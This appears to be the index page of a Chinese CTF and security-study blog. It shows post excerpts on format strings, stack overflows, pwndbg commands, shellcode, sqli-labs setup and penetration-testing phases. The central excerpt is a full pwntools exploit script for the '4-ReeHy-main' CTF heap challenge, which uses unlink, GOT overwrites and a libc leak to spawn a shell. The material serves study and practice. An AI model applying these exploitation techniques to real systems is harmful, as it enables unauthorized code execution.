0%

格式化字符串串总结

我觉得总结格式化字符串,拿大量的例题不如自己写下payload自动生成,payload又分32位跟64位,不过原理是一样的,不过64位地址有太多的00,printf有00截断,所以要将地址放后面,不能放前面
本来还想从头写的,我觉得站在巨人的肩膀上干事更快

既然pwntools他的payload不支持64位,我们稍微改动下或许可以让他支持64位的

Read more »

栈溢出总结

因为我是师从ctf-wiki,所以大纲大概会和ctf-wiki重复,不过这个是个人理解的总结,如有错误,请大佬指点

基础ROP

ret2text

text就是程序本身已有的代码段,以前是直接写个后门函数,然后让你ret2func,直接返回到那个指定函数处就可以了。不过他的思想还是很不错的,比如说

1
2
3
4
5
6
7
void func(){
if(result == 1){
system("/bin/sh");
}else{
printf("Too young too simple");
}
}
Read more »

论高效地使用gdb

pwndbg使用

cyclic 50 #生成字符串
cyclic -l aaaa #查找偏移
argv #查看参数
vis_heap_chunk #查看堆,很好看
nearpc #查看最近的汇编代码
emulate 20 #模拟执行20行
canary #查看当前栈canary值
libc #查看当前libc基地址
context #打印当前寄存器堆栈等
da address #打印指定地址的字符串
piebase #查看pie基地址
dq 0x7fffffffdfa8 30 #数据以qword 形式打印30个
breakrva # 在pie地址下断点
retaddr #打印返回地址,在rop时候非常有用
xuntil #运行到指定地址或函数处下断
stepret #运行到返回地址,跟ollydbg的ctrl+f9类似
search #查找字符串,16进制数字等
rop #查找rop
entry_point #入口点
envp #查看当前环境变量
gotplt #查看got.plt
got #查看got表
plt #查看plt表
u addr #查看指定地址处汇编代码
bins #查看所有free掉的chunk
heap #查看所有堆块
checksec #查看保护
nextcall #执行到下一个call
nextjmp #执行到下一个jmp
regs #查看寄存器值
pdisass #显示附近的汇编代码
dumpargs #查看当前的参数,64位默认以rdi,rsi,rdx,rcx,r8,r9显示
mp #查看mp_ structure from glibc
fastbins #查看fastbin ,其余也是类似
stack #查看栈情况
search -p addr #查找指定地址存在地点
search -s “” #查找指定字符串所在位置
search -t word 0x0041 #查找单词
r2 #协同radare2,最骚的操作
fmtarg 地址 #查看格式化字符串

Read more »

shellcode编写过程总结

序言: 平时做题也遇到过一些编写shellcode的题目了,最近抽空总结下类型,以及编写过程

利用工具生成或直接查找

我收集了一些工具生成纯字母数字shellcode的
比如 pwntools的 shellcraft模块
或者到exploit-db直接查找

这种题好做,利用工具生成,比如pwnable.tw 的 orw,这题就是可以直接利用工具生成的

Read more »

pwnable.tw刷题记录

start

序言

第一关,我都不会,题目果真硬核,我看得懂栈溢出,但不知道怎么利用,想jmp esp,发觉没有这个ropgadget,后面卡死了,

利用过程

而大佬们总是非常优秀,看到了push esp,这里的话,esp存在了栈里,所以这题是故意这么出的,然后通过返回到mov ecx,esp处,泄露esp,泄露esp后,往esp处写执行代码,到时候ret 的时候,就是将esp处代码进行执行了

Read more »

攻防世界

4-ReeHy-main

漏洞点

  1. 在新建堆的时候没有限制大小,输入负数可以任意大小,同时输入0x80可以刚好泄露堆地址
  2. free时候堆块指针还在,造成可以double free
  3. buf栈溢出
  4. index可以负数

利用

先利用index负数,修改size大小,然后溢出造成unlink,然后简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = '111.198.29.45'
port = 44275
context.log_level = 'debug'
exe = './4-ReeHY-main'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
#libc = elf.libc
libc = ELF('./libc.so.6')


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x3ff000)

def c(idx):
sla("$ ", idx)

def new(size, idx, content):
c(1)
sla("size\n", size)
sla("cun\n", idx)
sa("content\n", content)

def edit(idx, content):
c(3)
sla("edit\n",idx)
sa("content\n", content)

def delete(idx):
c(2)
sla("dele\n", idx)

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
c("NoOne")
addr = 0x6020E0

new(0x80, 0, '0')
new(0x80, 1, '1')
delete(-2)
payload = p32(0x100) + p32(0x80) + p32(0) + p32(0)
new(0x10, 2, payload)

fd = addr-0x18
bk = addr - 0x10
payload = flat([
0,
0x81,
fd,
bk,
'a'*0x60,
0x80,
0x90
])
edit(0, payload)
delete(1)
payload = flat([
'0'*0x18,
p64(0x6020f0),
p64(1),
p64(elf.got['free']),
1,
elf.got['fflush']
])
edit(0, payload)
edit(1, p64(elf.plt['puts']))
delete(2)
addr = uu64(r(6))
lg("addr", addr)
from LibcSearcher import *
obj = LibcSearcher("fflush", addr)
libc_base = addr - obj.dump('fflush')
sys_addr = libc_base + obj.dump('system')
new(0x20, 3, "/bin/sh")
edit(0, p64(elf.got['free']))
edit(1, p64(sys_addr))
delete(3)
#ga()
ia()
if __name__ == '__main__':
exp(host,)
Read more »

sqlib

环境搭建

本来想用阿里云搭建的,然后续费了一年,发觉阿里的那个防御有点烦,注入下被检测到就ban ip,搞得我都没法测试,最后就用docker搭建了

1
2
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 4005:80 --rm acgpiano/sqli-labs
Read more »

信息收集

DNS

  1. 完全限定域名 www.sinalang.com
  2. 域名 sinalang.com
  3. 域名记录: A, C name, NS, MX, ptr
  4. fqdn 类似于www kkk

左边的是递归查询,中间的是缓存服务器,右边的是迭代查询

A 把域名解析到一个ip地址上

AAAA ipv6的

C name 别名记录 把一个域名解析到另一个域名上

Read more »

渗透测试标准

  1. 前期沟通
  2. 信息收集
  3. 威胁建模
  4. 漏洞分析
  5. 渗透攻击
  6. 后渗透测
  7. 测试报告

前期沟通

与被渗透人员沟通地点,时间,金钱,要求等

信息收集

被动信息收集

  • 域名,邮箱,人员,地址
  • 搜索引擎
  • metadata
  • 专属密码字典

主动信息收集

  • 扫描ip地址段
  • 其他服务扫描
  • 识别防护机制

威胁建模

  • 传统威胁建模方法
    资产/攻击者

  • PETS标准威胁建模方法

    • 商业资产
    • 商业流程
    • 威胁主体
    • 威胁能力
    • 企业专有威胁模型
  • 动机建模

  • 影响建模

Read more »

软测复习

软件质量和质量保证

软件质量

由三部分构成:
软件产品的质量,即满足使用要求的程度。
软件开发过程的质量,即能否满足开发所带来的成本、
时间和风险等要求。
软件在其商业环境中所表现的质量。

质量保证

软件的质量保证就是向用户及社会提供满意的高质量的产品,进一步地说,软件的质量保证活动也和一般的质量保证活动一样,是确保软件产品从诞生到消亡为止的所有阶段的质量的活动。即为了确定、达到和维护需要的软件质量而进行的所有有计划、有系统的管理活动。

Read more »